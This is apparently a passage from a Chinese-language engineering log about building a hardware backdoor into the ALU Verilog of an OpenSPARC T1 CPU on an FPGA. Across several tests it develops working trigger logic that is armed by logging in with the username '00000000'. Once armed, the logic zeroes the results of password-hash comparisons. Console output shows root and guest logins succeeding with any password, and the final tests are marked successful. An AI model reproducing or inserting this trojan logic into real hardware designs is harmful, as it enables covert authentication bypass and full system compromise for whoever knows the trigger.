                        & (~byp_alu_rs1_data_e[55]) & (~byp_alu_rs2_data_e[55])
                        & (~byp_alu_rs1_data_e[47]) & (~byp_alu_rs2_data_e[47])
                        & (~byp_alu_rs1_data_e[39]) & (~byp_alu_rs2_data_e[39])
                        & (~byp_alu_rs1_data_e[31]) & (~byp_alu_rs2_data_e[31])
                        & (~byp_alu_rs1_data_e[23]) & (~byp_alu_rs2_data_e[23])
                        & (~byp_alu_rs1_data_e[15]) & (~byp_alu_rs2_data_e[15])
                        & (~byp_alu_rs1_data_e[7]) & (~byp_alu_rs2_data_e[7])
                        ;

另外modelsim模拟的时候dffe没有setup time和hold time。

** uty_ubuntu_patchbitgen1c4t_test50.ace **

结果:

还是不行。


测试13

改一个地方,估计还是不行,先试试吧。


   assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])); 
//                      & rs1rs2_ishashdata;

   //assign hash_end = ~rs1rs2_ishashdata;
   assign hash_end = hash_r & (8'h0 == byp_alu_rs1_data_e[47:40]);

先去掉rs1rs2_ishashdata,主要通过rs1和rs2同时以$1$开头来判断hash开始。

hash必须hash_begin,才能hash_end。

这个还没试,感觉问题更有可能出来4线程,因为ALU里是不分线程的,所以当线程切换的时候,ALU里很容易就触发hash_end,导致后面的比较停住了。

而之前成功的例子,都是直接硬编码比较,所以无论什么线程都没问题。

现在先试下在iop/include/xst_defines.h里``define FPGA_SYN_1THREAD`。

因为如果是单核cpu,虽然会有操作系统线程切换,单要保证几十条指令运行在同一个线程上也很正常。

如果能确定就是这个问题引起的,可以在ALU里储存下当前线程id,比较下。

exu/rtl/sparc_exu_ecl.v

   // Precalculate some of the matching logic to help timing
   assign thr_match_sd =  ~((ifu_exu_tid_s2[1] ^ tid_d[1]) |
                           (ifu_exu_tid_s2[0] ^ tid_d[0]));
   dff_s thr_match_sd_dff(.din(thr_match_sd), .clk(clk), .q(thr_match_de),
                        .se(se), .si(), .so());
   assign thr_match_se =  ~((ifu_exu_tid_s2[1] ^ tid_e[1]) |
                           (ifu_exu_tid_s2[0] ^ tid_e[0]));
   dff_s thr_match_se_dff(.din(thr_match_se), .clk(clk), .q(thr_match_dm),
                        .se(se), .si(), .so());
   assign ld_thr_match_sm = ~((ifu_exu_tid_s2[1] ^ lsu_exu_thr_m[1]) |
                           (ifu_exu_tid_s2[0] ^ lsu_exu_thr_m[0]));

** uty_ubuntu_patchbitgen1c1t_test51.ace **

结果:

还是不行。

又想了下原因,是因为每次cmp指令之间都还有好多条指令,其中也有sub指令。

        0018d2e0 03 00 40 40     sethi      %hi(0x1010000),g1
        0018d2e4 80 8a 20 07     andcc      __s1,0x7,g0
        0018d2e8 12 40 00 66     bpne,pn    %icc,LAB_0018d480
        0018d2ec 82 10 61 01     _or        g1,0x101,g1
        0018d2f0 86 8a 60 07     andcc      __s2,0x7,g3
        0018d2f4 12 40 00 74     bpne,pn    %icc,LAB_0018d4c4
        0018d2f8 85 28 70 20     _sllx      g1,0x20,g2
        0018d2fc d4 5a 00 00     ldx        [__s1+g0],o2
        0018d300 82 10 40 02     or         g1,g2,g1
                             LAB_0018d304                                    XREF[1]:     0018d4bc(j)  
        0018d304 d6 5a 40 00     ldx        [__s2+g0],o3
        0018d308 92 22 40 08     sub        __s2,__s1,__s2
        0018d30c 85 28 70 07     sllx       g1,0x7,g2
                             LAB_0018d310                                    XREF[2]:     0018d328(j), 0018d398(j)  
        0018d310 90 02 20 08     add        __s1,0x8,__s1
        0018d314 86 22 80 01     sub        o2,g1,g3
**      0018d318 80 a2 80 0b     cmp        o2,o3               **
        0018d31c 12 60 00 29     bpne,pn    %xcc,LAB_0018d3c0
        0018d320 d4 da 10 40     _ldxa      [__s1+g0] 0x82,o2
        0018d324 80 88 c0 02     andcc      g3,g2,g0
        0018d328 22 6f ff fa     bpe,a,pt   %xcc,LAB_0018d310
        0018d32c d6 da 50 48     _ldxa      [__s2+__s1] 0x82,o3
        0018d330 98 80 c0 01     addcc      g3,g1,o4
        0018d334 87 30 f0 20     srlx       g3,0x20,g3
        0018d338 80 88 c0 02     andcc      g3,g2,g0

这个比硬件多线程的原因更直接。其它sub指令会很容易的被误认为是hash_end。

现在的问题是在很多的指令中判断出哪些sub指令是在比较hash。

首先是SUBcc指令,其次是rd是r0。

新的libc里用xor当作cmp指令的要方便多了,毕竟xor指令没有sub用的那么多,不过也还要从decode那就开始保留信息给ALU。

这点和QEMU里模拟就完全不一样了。


测试14

只有rd为0的ALU操作才认为是和hash有关的cmp指令。

看了下ubuntu7.10 sparc strcmp的代码,用cmp的地方不多,只有字符串比较的地方。

从sparc_exu_ecl里把rd_e送给alu,ecl_alu_rd_e。

   assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword) & isrd0;

这个还没测就感觉不行,应该把isrd0并到hash_begin和hash_end上,主要是hash_end。

** uty_ubuntu_patchbitgen1c1t_test52.ace **

结果:

确实是不行。


测试15

把目的地址并到hash_begin和hash_end上。

   // only consider $1$ for now
   assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & isrd0;

   assign hash_end = hash_r & (8'h0 == byp_alu_rs1_data_e[47:40]) & isrd0;

** uty_ubuntu_patchbitgen1c1t_test53.ace **

结果:

还是不行,有可能其它不是sub指令(比如branch,add)的指令rd的位置可能是空着的或者恰巧为0。

rd是bit 29-25。

cmp后面就有一句0018d324 80 88 c0 02 andcc g3,g2,g0,目标寄存器rd就是g0,g0就是r0。

所以还需要判断指令是不是减法指令。

想到一个问题,之前的ifu_exu_invert_d & ecl_alu_cin_e之所以会判断出问题是因为ifu_exu_invert_d是d阶段的信号,放在e阶段一起做比较肯定不对了。

sparc_exu_ecl是有sub_e的,算了,直接在aluaddsub里加个流水线寄存器,把ifu_exu_invert_d传下来。

   // sub_e sub_dff is at sparc_exu_ecl, just put one here for convience
   dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se),
           .si(), .so());

   assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e;


   // only consider $1$ for now
   assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & issubrd0;

   assign hash_end = hash_r & (8'h0 == byp_alu_rs1_data_e[47:40]) & issubrd0;


测试16

加了ecl_alu_cin_e

  assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e;

结果:

还是不行,应该还有其它原因。


测试17

又看了下汇编代码,cmp前一句是sub o2, g1, g3

想到了如果在hash比较的过程中有这么一句sub会是什么情况。

结果是这句sub的结果也会被清0,那这句算出来的数据就会出错了。

所以改了下代码,只有issubrd0的时候才会trigger_backdoor。

   assign trigger_backdoor = (hash_r | hash_begin) & issubrd0;// & backdoor_r ; // hash_r will update at next cycle. 
                                                                  //also the backdoor will still be triggered when hash_end

上面的那句sub,rd肯定不是0,是r3。把它绕过去。

其它地方没变,从波形上看能看出改进了。 modelsim2

一点点找错吧。。。。

Ubuntu 7.10 t1-fpga-00 ttyS0

t1-fpga-00 login: 00000000
Password: 

Login incorrect
t1-fpga-00 login: root
Password:                   ----> 直接回车
Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT 2009 sparc64

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@t1-fpga-00:~# 
root@t1-fpga-00:~# exit
logout

Ubuntu 7.10 t1-fpga-00 ttyS0

t1-fpga-00 login: guest
Password:                    ----> 随意敲,直接回车
Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT 2009 sparc64

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

guest@t1-fpga-00:~$ 
guest@t1-fpga-00:~$ exit
logout

Ubuntu 7.10 t1-fpga-00 ttyS0

t1-fpga-00 login: 00000001
Password: 

Login incorrect
t1-fpga-00 login: root
Password:                     ----> 随便敲

Login incorrect
t1-fpga-00 login:

** uty_ubuntu_patchbitgen1c1t_test55.ace **

结果:

成功。


测试18

试下1c4t,4个线程的会不会有别的影响,其它地方没改动。

** uty_ubuntu_patchbitgen1c4t_test56.ace **

结果:

可以。


测试19

把代码整理下,发现ubuntu7.10和debian9.0一样,在比较用户名的时候,也是有好几个地方比较,单用户输入的用户名都是出现在rs2。

而在SunOS 5.11上,有的是rs1,有的是rs2。

结果刚开始搞反了, ** uty_ubuntu_patchbitgen1c4t_test57.ace ** 没成功。

   // uty: test
   //  cout64_e should be 1
   // 0x726f6f74 root

   // sub_e sub_dff is at sparc_exu_ecl, just put one here for convience
   dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se),
           .si(), .so());

   assign backdoor_on_keyword = (64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]);
   assign backdoor_off_keyword = (64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]);

   assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e;

   assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword);
   assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));

   dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
                        .clk(clk), .q(backdoor_r), .se(se),
                        .si(), .so());

   // only consider $1$ for now
   assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & issubrd0;

   assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40]) & (8'h0 == byp_alu_rs2_data_e[47:40]);
   assign hash_end = hash_r & hash_00 & issubrd0;

   assign hash_en = (hash_begin | hash_end) & backdoor_r;
   assign hash_nxt = hash_begin & (~hash_end);

   dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en),
                        .clk(clk), .q(hash_r), .se(se),
                        .si(), .so());


   // ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
   // instruction. (SUBC's ecl_alu_cin_e actually is 0)
   assign trigger_backdoor = (hash_r | hash_begin) & issubrd0;// & backdoor_r ; // hash_r will update at next cycle. 
                                                                  //also the backdoor will still be triggered when hash_end

   assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
   assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};

** uty_ubuntu_patchbitgen1c4t_test58.ace **

结果:

成功。